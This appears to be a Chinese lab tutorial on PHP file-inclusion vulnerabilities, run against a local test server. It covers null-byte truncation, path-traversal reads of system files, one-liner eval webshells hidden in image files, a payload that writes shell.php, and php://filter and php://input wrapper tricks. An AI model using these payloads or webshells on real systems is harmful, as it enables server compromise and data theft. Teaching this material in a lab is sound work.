目录

  • 1 内容简介
    • 本节概述
    • 实验环境
  • 2 空字符绕过
    • 2.1 实验基础知识
    • 2.2 实验环境及准备
    • 2.3 实验步骤
      • 2.3.1 正常访问
      • 2.3.2 空字符绕过
      • 2.3.3 额外的方式
  • 3 利用方式一:读取敏感文件
    • 3.1 实验简介
    • 3.2 实验步骤
  • 4 利用方法二:直接包含图片木马GetShell
    • 4.1 实验简介
    • 4.2 实验步骤
  • 5 利用方法三:包含木马写Shell
    • 5.1 实验简介
    • 5.2 实验步骤
  • 6 利用方法四:利用PHP封装协议读取本地文件
    • 6.1 实验简介
    • 6.2 实验步骤
  • 7 利用方法五:利用PHP封装传输PHP文件
    • 7.1 实验简介
    • 7.2 实验步骤
  • 8 利用方法六:利用PHP封装执行PHP代码(失败,以后再尝试)
    • 8.1 实验简介
    • 8.2 实验步骤
  • 9 总结
  • 参考文献

1 内容简介

本节概述

在前两节了解了文件包含及其漏洞的危害后,本节主要讲文件包含漏洞的绕过方式及利用方法。

  1. 绕过方式:结合之前SQL注入、XLL漏洞、PHP注入、命令注入等内容的理解:

    1. 很多时候一些绕过思路是相似的,比如双写绕过等;
    2. 有些绕过是特有的,比如大小写绕过是利用SQL语句对大小写不敏感的特点、00截断是利用早期PHP一些函数认为空字符是字符串结束标识的特点。
    3. 本节主要讲利用空字符来绕过一些文件包含语句。
  2. 利用方式:本节内容从以下六方面来分享文件包含漏洞的利用方式。
    1. 读取敏感文件内容;
    2. 直接包含图片木马GetShell;
    3. 包含文件写shell文件再GetShell;
    4. 利用PHP封装读取敏感文件内容;
    5. 利用PHP封装传输PHP源码;
    6. 利用PHP封装执行PHP语句。

实验环境

  1. 本文实验基于WAMP环境进行测试,环境部署过程参考文章《win2008R2SP1+WAMP环境部署》。
  2. 在靶机网站根目录下,新建文件夹test,在test文件夹下新建以下文件进行实验。
  3. 根据不同实验,需要在此处切换不同版本软件。

2 空字符绕过

2.1 实验基础知识

  1. 空字符安全绕过是PHP小于5.3.4版本的一个漏洞,编号是CVE-2006-7243。这个漏洞就是PHP接收来自路径名中的空字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制,也就是之前所学的00截断。同理地,00截断也会体现在文件包含中。
  2. 漏洞利用的条件:
    1. PHP版本小于5.3.4;
    2. 关闭PHP魔术引号。
  3. PHP魔术引号:
    1. 应用背景:当sql句中含有单引号,双引号,反斜杠和NUL时,这时候如果不对这些符号进行转义,写入数据库时就会出错,而魔术引号magic_quotes_gpc()就是对这些符号进行转义以便能把数据正确写入数据库。
    2. 该参数在php.ini文件中修改。
    3. PHP魔术引号特性已自 PHP5.3.0起废弃并将自PHP5.4.0起移除。也就是说在本实验环境的PHP版本中仍是存在的。

2.2 实验环境及准备

  1. 由于该漏洞仅针对5.3.4以下版本的PHP有效,对此,我们将phpstudy中软件版本切换为“php-5.2.17+apache”。
  2. Web应用在设计的时候,经常会使用包含模板文件,如下。在网站根目录下的test文件夹内新建一个txt文件,输入以下内容,并重命名为include.php。该文件作为客户端访问的文件。
<?php
if(isset($_GET['path'])){include $_GET['path'].".html";
}else{echo "?path=['path']";
}
?>
  1. 同样位置新建一个txt文件,输入以下内容,并重命名为hello.html。该文件用于正常访问时被文件包含执行。
<h1>Hello World</h1>
  1. 同样位置新建一个txt文件,输入以下内容,并重命名为info.jpg。该文件假设是攻击者通过文件上传漏洞等方式保存在服务器的,用于演示空字符攻击时被文件包含执行。
<?php phpinfo();?>
  1. 同样位置新建一个txt文件,输入以下内容,并重命名为info.html。该文件假设是攻击者通过文件上传漏洞等方式保存在服务器的,用于演示空字符攻击时被文件包含执行。
<?php phpinfo();?>

2.3 实验步骤

2.3.1 正常访问

真实机浏览器访问靶机,正常访问时输入http://192.168.1.4/test/include.php?path=hello访问时,显示如下。因为代码会自动在文件后自动添加后缀名,所以参数path中无需加入参数。

2.3.2 空字符绕过

  1. 当攻击者按老方法传递入攻击文件后缀名访问时,如http://192.168.1.4/test/include.php?path=info.jpg,弹出错误,因为程序自动在后面加了html后缀,导致程序找不到原来的文件。攻击者可以从以下错误提示中知道程序是在输入参数后自动添加了后缀,方便下一次调整攻击姿势。
  2. 在关闭PHP魔术引号前,攻击者如果想利用00阶段来让程序误解字符串终止位置,输入http://192.168.1.4/test/include.php?path=info.jpg%00访问时,显示如下。
  3. 在靶机上打开对应PHP版本的配置文件php.ini,将下面的参数设置为Off,保存并重启phpstudy。
  4. 再次输入http://192.168.1.4/test/include.php?path=info.jpg%00访问时,显示如下。可以看到空字符成功将字符串截止,也就是说程序没能把html后缀加到输入参数后面了。

2.3.3 额外的方式

额外地,假设我们通过其他方式知道了该文件包含漏洞能打开后缀名为html的文件,我们也可以直接上传一个文件名后缀为html文件,来直接访问,如http://192.168.1.4/test/include.php?path=info

3 利用方式一:读取敏感文件

3.1 实验简介

  1. 目的:了解文件包含漏洞获取服务器本地敏感文件的利用方式。
  2. 实现条件:
    1. 目标主机文件存在(目标文件的路径,可用绝对路径或相对路径);
    2. 具有文件的可读权限。

3.2 实验步骤

  1. 以获取服务器本地host文件为例,Windows系统下的host文件路径为c:\windows\System32\drivers\etc\hosts
  2. 在服务器根目录下test文件下新建txt文件,输入以下内容,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
  1. 真实机浏览器访问http://192.168.1.4/test/include.php?path=c:\windows\System32\drivers\etc\hosts,网页显示如下,可以看到成功显示服务器本地的host文件内容。
  2. 以上是采用绝对路径的写法,如果是采用相对路径,可以多添加几个..\表示上级目录直到根目录,如http://192.168.1.4/test/include.php?path=..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts,网页显示如下,同样可以读取host文件。对于Windows系统,采用该方式来读取,如果服务器部署不是在C盘的话,就获取不到了数据了;对于Linux系统,同在一个根目录下,则没有该问题。

4 利用方法二:直接包含图片木马GetShell

4.1 实验简介

  1. 目的:通过利用服务器文件包含漏洞,使用中国蚁剑和图片木马(含一句话木马)GetShell。
  2. 实验准备:
    1. 图片马。在靶机根目录下test文件夹下新建一个txt文件,输入<?php @eval($_REQUEST[111]);?>,并命名为muma.jpg,就当该文件是攻击者利用文件上传或其他漏洞保存在该位置的吧。
    2. 真实机:安装中国蚁剑,参考文章《中国蚁剑V2.0下载安装到上手》。
    3. 在服务器根目录下test文件下新建txt文件,输入以下内容,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>

4.2 实验步骤

  1. 真实机使用浏览器访问http://192.168.1.4/test/include.php?path=muma.jpg&111=print(123456);,注意结尾有分号,可以看到能激活文件并执行等于号后的内容。
  2. 由于php代码是存在jpg文件中的,如果没有借助其他解析漏洞就没有运行里面的代码,而在上一步中成功利用http://192.168.1.4/test/include.php?path=muma.jpg执行图片马中的PHP语句,因此可以用中国蚁剑来连接它。打开中国蚁剑,添加数据并填写以下资料,点击添加。
  3. 添加后在软件主界面可以看到新添加的内容,双击即可管理服务器。

5 利用方法三:包含木马写Shell

5.1 实验简介

  1. 目的:利用文件包含漏洞,执行图片马,生成Shell代码。同样地,可以生成其他代码。
  2. 实验准备:
    1. 图片马。在靶机根目录下test文件夹下新建一个txt文件,输入<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST[111])?>");?>,重命名为muma_.jpg,当该代码执行时,将在当前目录下创建一个名为shell.php的文件,内容为<?php @eval(\$_REQUEST[111])?>
    2. 真实机:安装中国蚁剑,参考文章《中国蚁剑V2.0下载安装到上手》。
    3. 在服务器根目录下test文件下新建txt文件,输入以下内容,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>

5.2 实验步骤

  1. 真实机浏览器访问http://192.168.1.4/test/include.php?path=muma_.jpg&111,网页显示如下,没有报错。打开靶机中的test文件夹,可以看到成功生成shell.php文件。
  2. 打开蚁剑连接shell.php,此处连接与上一个实验不一样的是,此处一句话木马位于PHP文件中,可以直接访问而无需再借助文件包含漏洞。新建连接如下。
  3. 双击新建的连接,可以成功管理服务器。

6 利用方法四:利用PHP封装协议读取本地文件

6.1 实验简介

  1. 目的:该方式与“利用方法一”目的一致,由于存在该方法,所以学习一下。
  2. 条件:要求PHP配置文件中将allow_url_include参数配置为On。
  3. 实验准备:在服务器根目录下test文件下新建txt文件,输入以下内容,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>

6.2 实验步骤

在真实机浏览器输入192.168.1.4/test/include.php?path=file://c:\windows\System32\drivers\etc\hosts,可以看到成功读取文件内容。

7 利用方法五:利用PHP封装传输PHP文件

7.1 实验简介

  1. 目的:读取网站源代码。上述利用方法一和方法四读取文件的结果,如果其中有PHP代码会被无条件执行,也就是说我们看到的将是PHP代码执行后的结果,如果想要看到PHP代码源码,需要用到此方法。
  2. 条件:要求PHP配置文件中将allow_url_include参数配置为On。
  3. 实验准备:在服务器根目录下test文件下新建txt文件,输入以下内容,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>

7.2 实验步骤

  1. 真实机浏览器访问时输入192.168.1.4/test/include.php?path=php://filter/read=convert.base64-encode/resource=shell.php,页面显示内容如下。这里是利用PHP伪协议来读取文件,read表示读取文件内容,convert.base64-encode表示采用base64编码,resource后面跟资源文件名。
  2. 将显示出来的代码复制。黏贴到在线加解码工具中,即可查看源码。

8 利用方法六:利用PHP封装执行PHP代码(失败,以后再尝试)

8.1 实验简介

  1. 目的:在本地或远程没有文件的前提下,直接执行PHP代码。
  2. 条件:要求PHP配置文件中将allow_url_include参数配置为On。
  3. 实验准备:在服务器根目录下test文件下新建txt文件,输入以下内容,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>

8.2 实验步骤

  1. 真实机打开BurpSuite,切换到repeater模块,复制上一个实验的URL,右键以URL形式添加请求。点击发送,可以看到响应内容与上一个实验一致。本实验将利用BurpSuite通过该请求来执行PHP代码。
  2. 修改PHP伪协议为php://input,同时在请求体中添加想要执行的PHP代码<?php phpinfo();?>,如下图,并点击发送。按教程来讲应该在响应中可以显示探针语句执行结果的,但是这里显示失败了,暂时没有早到原因。

9 总结

  1. 关于图片马的几种执行方式总结:

    1. 利用中间件解析漏洞,不同中间件不同版本的利用方式往往不同。参考以下文章:
      《中间件文件解析漏洞基础知识及实验——Apache》;
      《中间件文件解析漏洞基础知识及实验——IIS》;
      《中间件文件解析漏洞基础知识及实验——Nginx》
    2. 利用.htaccess修改Apache局部配置。参考《.htaccess攻击实验》
    3. 利用文件包含执行漏洞。参考本文内容。
  2. 了解PHP魔术引号的作用。
  3. 掌握文件包含漏洞空字符绕过的方法。
  4. 掌握文件包含漏洞的六种利用方式。

参考文献

  1. 《php之魔术引号》
  2. 《php://》介绍各类伪协议如下。

【文件包含漏洞03】文件包含漏洞的空字符绕过及六种利用方式相关推荐

  1. 【文件上传漏洞-03】前端JS检测与绕过实例—以upload-labs-1为例

    目录 1 前端JS检测与绕过 2 前端JS检测与绕过实例 2.1 实验目的 2.2 操作环境 2.3 前期准备 2.4 具体过程 2.4.1 文件上传前期盲测 2.4.2 方法一:删除JS直接上传 2 ...

  2. 【XSS漏洞03】XSS漏洞验证、语句构造与绕过方法

    目录 1 漏洞验证相关概念 2 XSS漏洞验证 2.1 常见POC 2.2 反射型XSS漏洞验证 2.3 存储型XSS漏洞验证 2.4 DOM型XSS漏洞验证 3 XSS语句构造与绕过 3.1 XSS ...

  3. 【文件包含漏洞-02】文件包含漏洞原理、简单测试实例以及空字符绕过实例

    目录 1 文件包含漏洞 1.1 文件包含漏洞概述 1.2 文件包含漏洞的形成原因/条件 1.3 危害 2 文件包含漏洞简单测试实例 2.1 测试环境 2.2 实例一:本地文件包含 2.3 实例二:远程 ...

  4. 渗透测试-文件上传漏洞之MIME type验证原理和绕过

    文件上传漏洞之MIME type验证原理和绕过 文章目录 文件上传漏洞之MIME type验证原理和绕过 前言 一.什么是MIME type 二.MIME type验证原理和绕过 1. MIME ty ...

  5. 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

    文件包含漏洞的利用 读取敏感文件 我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标主机文件存在(目标文件的路径.绝对路径.相对路径) 具有文件可读权限 提交参数http://loc ...

  6. php excel中解析显示html代码_骑士cms从任意文件包含到远程代码执行漏洞分析

    前言 前些日子,骑士cms 官方公布了一个系统紧急风险漏洞升级通知:骑士cms 6.0.48存在一处任意文件包含漏洞,利用该漏洞对payload文件进行包含,即可造成远程代码执行漏洞.这篇文章将从漏洞 ...

  7. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  8. java怎么知道上传文件是否成功_文件包含漏洞之——tomcat CVE-2020-1938漏洞复现

    这个漏洞是今年2月份出现的,他的影响范围也是非常广的. 2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020- ...

  9. 米斯特白帽培训讲义(v2)漏洞篇 文件包含

    米斯特白帽培训讲义 漏洞篇 文件包含 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 原理 文件包含就是将一个文件包含到自己的文件中执行.它可分为本地包含和远程包含,本地包含 ...

最新文章

  1. 语言解决猜神童年龄的问题_一个程序设计题目猜年龄(不限程序语言)
  2. win7冒险岛java,win7玩冒险岛不兼容怎么办?解决win7玩冒险岛不兼容的方法
  3. linux重点知识:网络通信
  4. 关于提高代码复用性的几个知识点的回顾
  5. Windows Phone 8开发环境搭建介绍
  6. python爬虫反爬-python爬虫--爬虫与反爬
  7. QT每日一练day2:day1优化以及QT内存管理机制
  8. Oracle 11g数据库基础教程(第2版)-课后习题-第十三章
  9. 人口增长模型参数估计matlab,人口增长模型及实现(附MATLAB代码)
  10. matlab:夫琅禾费衍射简单仿真
  11. Flume之HDFS Sink 的参数解析及异常处理
  12. 构建前端项目及使用技术
  13. JavaScript window对象之atob()和btoa()
  14. 一套实用性最强的商业方案,让他白手起家做到全国十大财阀之一!
  15. 【c++】单词接龙(暴搜)
  16. 如何登陆FTP服务器下载文件
  17. 四足机器人的六种步态特征
  18. PTA习题4-11 兔子繁衍问题 (15 分)-好容易入坑
  19. 计算机二级c内容,计算机二级C语言考试内容大纲
  20. 输油管道监测解决方案

热门文章

  1. 详解DNS(理论篇)
  2. Java使用POI通过模板生成Word
  3. 二代测序的原理和简介
  4. idea里面解决jsp,html,xml黄色背景的方法
  5. 关于win10输入法导致电脑直接卡机无法动弹问题
  6. 华夏旅游CMS商城系统操作手册
  7. 河南联通网通封杀路由器解决办法
  8. 【PCB封装中的_L/_M/_N解释】IPC low/medium/high density 什么意思?
  9. Activiti7框架学习
  10. 一个非计算机专业的 软考中级 网络工程师考试之路